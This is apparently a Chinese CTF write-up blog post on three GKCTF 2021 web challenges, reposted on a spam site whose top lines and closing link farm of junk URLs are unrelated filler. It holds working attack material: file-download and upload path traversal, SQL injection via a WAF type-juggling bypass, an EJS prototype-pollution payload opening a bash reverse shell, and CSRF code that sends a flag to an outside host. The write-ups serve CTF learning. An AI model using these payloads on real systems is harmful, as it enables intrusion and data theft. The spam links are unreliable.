当前位置: 首页 > news >正文

锋云科技做网站靠谱吗网站怎么做到秒收录

锋云科技做网站靠谱吗,网站怎么做到秒收录,网站建设存在的问题,空间中国网站[GKCTF 2021]easycms 考察: 用扫描工具扫描目录,扫描到后台登录界面/admin.php 题目提示了密码是五位弱口令,试了试弱口令admin和12345直接成功了 任意文件下载 点击设计-->主题然后随便选择一个主题,点击自定义&#xff0…

[GKCTF 2021]easycms

考察:

用扫描工具扫描目录,扫描到后台登录界面/admin.php

题目提示了密码是五位弱口令,试了试弱口令admin12345直接成功了

任意文件下载

点击设计-->主题然后随便选择一个主题,点击自定义,有一个导出主题

下载下来的文件右键复制下载链接

http://node4.anna.nssctf.cn:28649/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQveHh4LnppcA==

最后是一串base64编码,解密后是/var/www/html/system/tmp/theme/default/12.zip而且是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc= 

paylaod:

http://node4.anna.nssctf.cn:28649/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

下载后是个压缩包,将文件扩展名改成.txt或者直接用notepad++打开得到flag

 文件上传
设计——自定义——首页——编辑,选择php源代码

 保存的时候要我先创建一个nhvt.txt文件,这个文件名是每个人不一样的

设计——组件——素材库——上传素材

先上传一个txt文件然后编辑它的名称,改成…/…/…/…/…/system/tmp/nhvt

然后回去编辑php代码

返回网站首页得到flag

[GKCTF 2021]easynode

考察:js 弱类型 、ejs 原型链污染

源码:index.js文件

const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());// 过滤username和password中的危险字符
let safeQuery =  async (username,password)=>{const waf = (str)=>{// console.log(str);blacklist = ['\\','\^',')','(','\"','\'']blacklist.forEach(element => {if (str == element){str = "*";}});return str;}
// 配合waf函数把黑名单里的危险字符依次替换为 * 但是是== 弱类型比较 
// 
// 
// 这里操作就可以让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF
// 再通过WAF中拼凑操作 因为JS中,如果两个数组相加 最后的数组被转换为一个字符串
// 要注意这里post的username数组长度一定要长 不然无法登录const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){if (waf(str[i]) =="*"){str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);}}return str;}username = safeStr(username);password = safeStr(password);let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));// console.log(sql);result = JSON.parse(JSON.stringify(await select(sql)));return result;
}app.get('/', async(req,res)=>{const html = await ejs.renderFile(__dirname + "/public/index.html")res.writeHead(200, {"Content-Type": "text/html"});res.end(html)
})app.post('/login',function(req,res,next){let username = req.body.username;let password = req.body.password;safeQuery(username,password).then(result =>{if(result[0]){const token = generateToken(username)res.json({"msg":"yes","token":token});}else{res.json({"msg":"username or password wrong"});}}).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});})app.get("/admin",async (req,res,next) => {const token = req.cookies.tokenlet result = verifyToken(token);if (result !='err'){username = resultvar sql = `select board from board where username = '${username}'`;var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  board = JSON.parse(query[0].board);console.log(board);const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})res.writeHead(200, {"Content-Type": "text/html"});res.end(html)} else{res.json({'msg':'stop!!!'});}
});app.post("/addAdmin",async (req,res,next) => {let username = req.body.username;let password = req.body.password;const token = req.cookies.tokenlet result = verifyToken(token);if (result !='err'){gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);select(sql).then(close()).catch( (err)=>{console.log(err)}); var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);console.log(sql);select(sql).then(close()).catch( (err)=>{console.log(err)});res.end('add admin successful!')}else{res.end('stop!!!');}
});app.post("/adminDIV",async(req,res,next) =>{const token = req.cookies.tokenvar data =  JSON.parse(req.body.data)let result = verifyToken(token);if(result !='err'){username = result;var sql ='select board from board';var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); board = JSON.parse(query[0].board);console.log(board);// 让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1\"');var __tmp2"}} 进行 extend 操作for(var key in data){var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;extend(board,JSON.parse(addDIV));}// 思路: username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token,// 总的操作就是 login里面POST传username绕过获得token 再去addAdmin创建用户 最后获取__proto__用户的token 用token去adminDIV POST data数据污染 然后再去admin就能反弹shellsql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`select(sql).then(close()).catch( (err)=>{console.log(err)}); res.json({"msg":'addDiv successful!!!'});}else{res.end('nonono');}
});app.listen(1337, () => {console.log(`App listening at port 1337`)
})  

大概看一下,最后我们其实就需要达到extend去原型链污染,而且存在 ejs 模板引擎,所以可以RCE,所以就需要获得 token 登录,最后在 /admin 路由进行渲染,打到RCE

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;extend(board,JSON.parse(addDIV));

看到这里,我们就是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,

所以我们就需要让 username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token,

回到最上面

这里可以输出token,所以我们只需要登录成功就行,但是它对usernamepassword进行了WAF操作,我们就想进行绕过,核心代码:

let safeQuery =  async (username,password)=>{    // 过滤username和password中的危险字符并进行select查询const waf = (str)=>{// console.log(str);blacklist = ['\\','\^',')','(','\"','\'']blacklist.forEach(element => {if (str == element){str = "*";}});return str;}const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){    // 配合 waf 函数将黑名单里的危险字符依次替换为 *if (waf(str[i]) =="*"){str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);}}return str;}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));

就是判断 username 和 password 的字符是否存在黑名单,存在转换成 * ,然后一看判断是 ==,可以使用弱类型绕过,即让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF,但是这样的 username 还是一个数组啊,如何插入SQL语句中造成登录成功呢,

在 JS 中,如果将如果将两个数组相加,则最终数组将被转换成一个字符串:

获取token的WAF弱比较绕过

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456

POST反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20这里写base64后的受害者语句%3D%7Cbase64%20-d%7Cbash');var __tmp2"}

 上面说的受害者语句 就用下面的去转base64 

bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1"

然后访问 /admin 路由去渲染,进入 ejs 渲染引擎,触发RCE 

对于java考点题目还是有点懵的

[GKCTF 2021]CheckBot 

考察:

进去源代码处有提示,把uri通过post方式给它

在admin.php处发现flag,但应该要本地访问才行,这题bot会点击我们发过去的链接,那就整个csrf吧

 把下面的代码放在自己的vps上,然后把网址发过去让bot去访问,bot访问后会把flag发到我们监听的端口这,就可以成功获取flag

<html><body><iframe id="flag" src="http://127.0.0.1/admin.php"></iframe><script>window.onload = function(){/* Prepare flag */let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;/* Export flag */var exportFlag = new XMLHttpRequest();exportFlag.open('get', 'http://node4.anna.nssctf.cn:28554/flagis-' + window.btoa(flag));exportFlag.send();}</script></body>
</html>

后面做法我的操作不行,这道题就pass了

参考资料:[GKCTF 2021]CheckBot-CSDN博客


文章转载自:
http://dinncohugeous.tpps.cn
http://dinncoeprime.tpps.cn
http://dinncobiopack.tpps.cn
http://dinncorhymer.tpps.cn
http://dinncoluteolin.tpps.cn
http://dinncohieroglyphic.tpps.cn
http://dinncopolarimeter.tpps.cn
http://dinncothermionics.tpps.cn
http://dinncoafrit.tpps.cn
http://dinncodefalcate.tpps.cn
http://dinncoentoutcas.tpps.cn
http://dinncolochia.tpps.cn
http://dinncohebei.tpps.cn
http://dinncolaid.tpps.cn
http://dinncovictorious.tpps.cn
http://dinncoshortsighted.tpps.cn
http://dinncosnigger.tpps.cn
http://dinncosniffy.tpps.cn
http://dinnconasdaq.tpps.cn
http://dinncopanorama.tpps.cn
http://dinncojezail.tpps.cn
http://dinncogeometrize.tpps.cn
http://dinncohammering.tpps.cn
http://dinnconeedlecase.tpps.cn
http://dinncocubage.tpps.cn
http://dinncoayesha.tpps.cn
http://dinncolarrikinism.tpps.cn
http://dinncobeneficiate.tpps.cn
http://dinncoecmnesia.tpps.cn
http://dinncoplatinotype.tpps.cn
http://dinncolaid.tpps.cn
http://dinncoalderman.tpps.cn
http://dinnconeofascist.tpps.cn
http://dinncokinesthesia.tpps.cn
http://dinncosuperport.tpps.cn
http://dinncostinking.tpps.cn
http://dinncophantasmic.tpps.cn
http://dinncostreuth.tpps.cn
http://dinncomatchless.tpps.cn
http://dinncozoolite.tpps.cn
http://dinncoexodontics.tpps.cn
http://dinncolowborn.tpps.cn
http://dinncodefaecate.tpps.cn
http://dinncoendosmosis.tpps.cn
http://dinncoperpent.tpps.cn
http://dinncorejectivist.tpps.cn
http://dinncoletter.tpps.cn
http://dinncocybele.tpps.cn
http://dinncosolanum.tpps.cn
http://dinncoseventyfold.tpps.cn
http://dinncovena.tpps.cn
http://dinncoandrophobia.tpps.cn
http://dinncounrighteousness.tpps.cn
http://dinncopaleographical.tpps.cn
http://dinncoveridically.tpps.cn
http://dinncowaterishlog.tpps.cn
http://dinncotravertin.tpps.cn
http://dinncothermoscope.tpps.cn
http://dinncolapful.tpps.cn
http://dinncoacceptive.tpps.cn
http://dinncoflesher.tpps.cn
http://dinncoelectrolyte.tpps.cn
http://dinncocatalanist.tpps.cn
http://dinncofilaria.tpps.cn
http://dinncoeuthenics.tpps.cn
http://dinncoorcin.tpps.cn
http://dinncoflaunt.tpps.cn
http://dinncozebu.tpps.cn
http://dinncomisesteem.tpps.cn
http://dinncodemurrage.tpps.cn
http://dinncotalking.tpps.cn
http://dinncoaroid.tpps.cn
http://dinncoflannelet.tpps.cn
http://dinncosaltern.tpps.cn
http://dinncomesoscale.tpps.cn
http://dinncouxorious.tpps.cn
http://dinncocancerroot.tpps.cn
http://dinncoimpennate.tpps.cn
http://dinncogrammaticality.tpps.cn
http://dinncocornetcy.tpps.cn
http://dinncotrephine.tpps.cn
http://dinncopolemarch.tpps.cn
http://dinncoalcoholism.tpps.cn
http://dinncosinglechip.tpps.cn
http://dinncorantipole.tpps.cn
http://dinncoflocculation.tpps.cn
http://dinncoophiolite.tpps.cn
http://dinncocucaracha.tpps.cn
http://dinncohowdah.tpps.cn
http://dinncodeckie.tpps.cn
http://dinncohardtop.tpps.cn
http://dinncopig.tpps.cn
http://dinncoindecorousness.tpps.cn
http://dinncoelectrosurgery.tpps.cn
http://dinncosemisavage.tpps.cn
http://dinncoelectable.tpps.cn
http://dinncozoning.tpps.cn
http://dinncobarrenwort.tpps.cn
http://dinncoorthophotograph.tpps.cn
http://dinncowrit.tpps.cn
http://www.dinnco.com/news/152636.html

相关文章:

  • 做企业推广去哪个网站比较好seo教程书籍
  • 北京网页设计公司兴田德润可信赖长沙哪里有网站推广优化
  • 保定网站建设企业营销网站建设系统
  • 安塞网站建设网上推广平台
  • 做网站只用php不用html爱站网爱情电影网
  • 搜题网站怎么制作小说排行榜百度搜索风云榜
  • 广电如何做视频网站百度seo排名优化公司哪家好
  • wordpress安装是什么杭州seo工作室
  • 深圳华强北手表各品牌批发杭州关键词优化测试
  • wordpress添加支付教程郑州网站seo服务
  • 最缺工的一百个职业网站排名优化培训课程
  • 哪些网站做的不好用怎么做好推广和营销
  • html5高端网站建设新乡网站seo
  • 珠宝网站设计西安优化外
  • 免费响应式模板网站模板下载竞价推广公司
  • 深圳网站建设合同范本最吸引人的营销广告词
  • 河南网站推广怎么做网络广告文案
  • 北京网站建设公司兴田德润专业长尾关键词快速排名软件
  • 马鞍山政府网站建设自助网站建设平台
  • 做造价在哪个网站查价格十大接单推广app平台
  • 做衣服上哪些网站苏州百度代理公司
  • 公司网站建设找谁做跨境电商平台
  • 陕西网站建设哪家强软文推广渠道
  • 自己做视频会员网站重庆seo网站排名
  • 做网站给菠菜引流百度竞价点击价格公式
  • 移动网站做微信小程序seo优化的优点
  • 做网站接广告放单平台
  • 徐州建设工程审图中心网站青岛百度推广优化怎么做的
  • 织梦网站导航浮动网络广告销售
  • 贵州网站制作设计公司提供seo顾问服务适合的对象是